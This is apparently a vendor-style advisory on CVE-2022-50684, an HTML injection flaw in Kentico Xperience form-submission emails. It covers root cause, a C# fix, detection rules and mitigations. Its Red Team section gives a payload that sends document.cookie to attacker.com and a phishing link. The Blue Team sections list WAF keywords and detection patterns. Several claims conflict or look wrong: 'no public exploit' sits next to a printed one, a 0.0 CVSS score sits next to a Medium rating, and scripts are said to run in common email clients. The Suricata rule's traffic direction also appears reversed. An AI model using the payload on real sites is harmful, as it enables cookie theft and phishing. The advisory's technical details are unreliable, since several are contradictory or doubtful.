CVE-2022-50684

Executive Summary

CVE-2022-50684 describes an HTML injection vulnerability in Kentico Xperience, a .NET-based content management system. The flaw allows an attacker to inject arbitrary HTML into form submission emails because user-supplied form fields are not properly encoded before being included in email bodies. When the email is opened in an HTML-capable client, the injected HTML executes, potentially leading to phishing, credential theft, or malware delivery. No CVSS vector, EPSS score, or public exploit code is available, but the vulnerability is considered medium risk due to its reliance on user interaction (email client rendering). The vendor has not released a patch, leaving systems exposed.

Supply Chain & Package Security

This vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby) but in a proprietary .NET CMS. Supply chain risk is limited to the Kentico ecosystem; however, no official patch exists, so organizations must rely on compensating controls.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No vector assigned by NVD)
• Attack Vector: Network (email delivery)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (recipient opens email)
• Scope: Changed (impact on email client security)
• Confidentiality Impact: Low (potential data leakage via phishing)
• Integrity Impact: Low (HTML content manipulation)
• Availability Impact: None
• Threat Level: Medium – Exploitation requires social engineering, but impact can be significant if combined with phishing.

Deep Dive & Mechanics

The vulnerability resides in the form submission email generation module of Kentico Xperience. When a user submits a form (e.g., contact form, registration), the system constructs an email containing the submitted data. If the form fields are not HTML-encoded before being inserted into the email body, an attacker can include malicious HTML tags (e.g., <img src=x onerror=...>, <a href=...>, <script>). The email is sent to administrators or configured recipients. When the recipient opens the email in an HTML-enabled client (e.g., Outlook, Gmail), the injected HTML is rendered, potentially executing scripts or displaying deceptive content.

Root Cause: Lack of output encoding for user-supplied form values in email templates. The application likely uses string concatenation or raw interpolation without calling HtmlEncode() or equivalent.

Attack Flow:

1. Attacker identifies a public form (e.g., contact form) on a Kentico site.
2. Attacker submits the form with malicious HTML in a text field (e.g., <img src=x onerror=alert(1)>).
3. The system sends an email to the site administrator containing the unencoded payload.
4. Administrator opens the email; the HTML executes in their email client.
5. Attacker can redirect to a phishing page, steal session cookies, or deliver malware.

Vulnerable vs. Patched Code

Vulnerable Code (C# example):

// Vulnerable: Direct string interpolation without encoding
string emailBody = $"New form submission from {formData.Name}: {formData.Message}";
SendEmail(adminEmail, "New Submission", emailBody);

Patched Code (Hypothetical fix):

// Patched: HTML-encode user input before embedding in email
string emailBody = $"New form submission from {HttpUtility.HtmlEncode(formData.Name)}: {HttpUtility.HtmlEncode(formData.Message)}";
SendEmail(adminEmail, "New Submission", emailBody);

Key Difference: The patched version uses HttpUtility.HtmlEncode() to convert characters like <, >, &, " into safe HTML entities, preventing injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a public Kentico Xperience form (e.g., contact, feedback).
• Knowledge of the email recipient (usually admin).

Exploitation Steps:

1. Identify a form field that is included in the notification email (e.g., "Message" or "Comments").
2. Submit the form with the following payload in that field:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

3. Wait for the admin to open the email. The payload will execute, sending cookies to the attacker's server.

Alternative Payload (Phishing):

<a href="https://phishing-site.com">Click here to verify your account</a>

Lab Setup:

• Install Kentico Xperience (any version) on a local VM.
• Create a public form with a text field.
• Configure email notifications to an internal SMTP server (e.g., MailHog).
• Submit the form with the payload and observe the email in MailHog.

Blue Team

Detection:

• Monitor form submissions for HTML tags in text fields (e.g., <, >, onerror, onload).
• Use WAF rules to block common HTML injection patterns in POST data.
• Inspect email headers for unusual content or links.

Prevention:

• Apply a virtual patch by modifying email templates to HTML-encode all user input.
• Use a web application firewall (WAF) to filter HTML injection attempts.
• Educate email recipients to avoid clicking links in unexpected form submission emails.

Indicators of Compromise (IOCs)

• Network: Outbound connections from email client to unknown domains (e.g., attacker.com).
• Email: Emails containing raw HTML tags like <img src=x onerror=...> or <script> in the body.
• Logs: Form submission logs with entries containing <, >, onerror, onload, javascript:.
• File: No file-based IOCs; purely data injection.

Detection Engineering

YARA Rule

rule CVE_2022_50684_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts in Kentico form submissions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-50684"
    strings:
        $html_tag = /<[a-zA-Z\/!][^>]*>/
        $event_handler = /on\w+\s*=\s*['\"][^'\"]*['\"]/
        $script_tag = /<script[^>]*>/
    condition:
        any of ($html_tag, $event_handler, $script_tag)
}

Sigma Rule

title: Kentico Xperience HTML Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects form submissions containing HTML tags or event handlers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/form/submit*'
        cs-uri-query|contains:
            - '<'
            - '>'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate HTML content in form fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-50684 Kentico HTML Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/form/submit"; http_uri; pcre:"/<[^>]*on\w+\s*=/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Virtual Patch: Modify email templates to HTML-encode all user-supplied fields using HttpUtility.HtmlEncode() or equivalent.
2. WAF Rules: Block POST requests containing <, >, onerror, onload, javascript: in form fields.
3. Email Client Security: Disable HTML rendering in email clients or use plain-text mode for notification emails.

Long-Term Fix:

• Kentico must release an official patch that encodes form values in email templates.
• Until then, upgrade to the latest version of Kentico Xperience if a fix is available (check vendor advisory).

Compensating Controls:

• Implement Content Security Policy (CSP) for email clients (limited support).
• Use email security gateways to scan for malicious HTML.
• Train administrators to avoid clicking links in form submission emails.

Valters IT